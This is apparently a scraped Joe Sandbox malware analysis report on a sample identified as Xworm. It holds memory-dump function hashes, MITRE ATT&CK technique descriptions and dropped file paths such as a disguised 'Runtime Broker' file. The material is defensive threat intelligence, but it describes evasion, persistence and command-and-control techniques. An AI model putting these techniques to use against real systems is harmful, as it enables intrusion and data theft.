Instruction Fuzzy Hash: 96511422B0E68A0FE366A77C98365B53BD1DFD6225B0941FBE08DCB1E7DC185846C352

Function 00007FFD9BAD07A5 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2440508470.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9bad0000_Runtime Broker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fbfa049afe49dfd94faa4fde1d618af97269406b405af458a1230c35c88f39e
Instruction ID: 5b99207b0a359a3b64065a86ccd48fcbd86cbf671aaa9d4833cad92872190adf
Opcode Fuzzy Hash: 1fbfa049afe49dfd94faa4fde1d618af97269406b405af458a1230c35c88f39e
Instruction Fuzzy Hash: 98511A36B095894FC348FB6C98B15E93BA1EF8522F74442BBE49DCB2DBCE285405CB50

Function 00007FFD9BAD0B5F Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2440508470.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9bad0000_Runtime Broker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 637df0eca02f7bbd056967d18e2afb519ea7c8d62f29a9216be38142e8b4e388
Instruction ID: 011853d5bdda50f430d3543d00e9e1b6b7433c8866e02ef6e6c95748c772ed0e
Opcode Fuzzy Hash: 637df0eca02f7bbd056967d18e2afb519ea7c8d62f29a9216be38142e8b4e388
Instruction Fuzzy Hash: 1A41F431B0891E8FDB48EBACD8756ED73A1FF9831AF500279E008D729ACE35A445C780

Function 00007FFD9BAD0650 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2440508470.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9bad0000_Runtime Broker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e4a3d226ece2322ea37315e85a02f568bb4108412a71e7cdec460275763cdd
Instruction ID: bfbc960541c46bcb07516c88665935375e8e1be84658d46fa5950df3780dc1e5
Opcode Fuzzy Hash: c1e4a3d226ece2322ea37315e85a02f568bb4108412a71e7cdec460275763cdd
Instruction Fuzzy Hash: EA31E821B18A480FE798EB6C986A67977C2EFD9315F0506BEF00EC32D7DD645C428341

Function 00007FFD9BAD0CE9 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2440508470.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9bad0000_Runtime Broker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fedd32407b446133a2bf4b5865bcd06959f8ce17b0ff0839d727cb9756f5d59e
Instruction ID: fc280b5e236fda0861fa6226675dc1ea0ba5d5f9fa78dc6a9243f7050728eb65
Opcode Fuzzy Hash: fedd32407b446133a2bf4b5865bcd06959f8ce17b0ff0839d727cb9756f5d59e
Instruction Fuzzy Hash: BB31B622B199094FE794BBBC5C2A7BD76D1EF98721F0503B6F01DC71D6DD6869028382

Function 00007FFD9BAD2311 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2440508470.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9bad0000_Runtime Broker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39aa609bf1c0e658fab62424a02e7a0f962f65ff0450573aa1d8bb45fc4c3698
Instruction ID: e7be887c2fef71b2ca80169b1c0e27e45f68f5efcd2f3123bafddd22be885c18
Opcode Fuzzy Hash: 39aa609bf1c0e658fab62424a02e7a0f962f65ff0450573aa1d8bb45fc4c3698
Instruction Fuzzy Hash: 9B014711A0DBC94FE765A3A88865431BFE0DFD1211B0902FAE8C8C60ABD848AA40C352

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 80BvHOM51j.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Malware Analysis System Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\Public\Runtime Broker

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Runtime Broker.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\coonfart.exe.log

Windows Analysis Report
80BvHOM51j.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre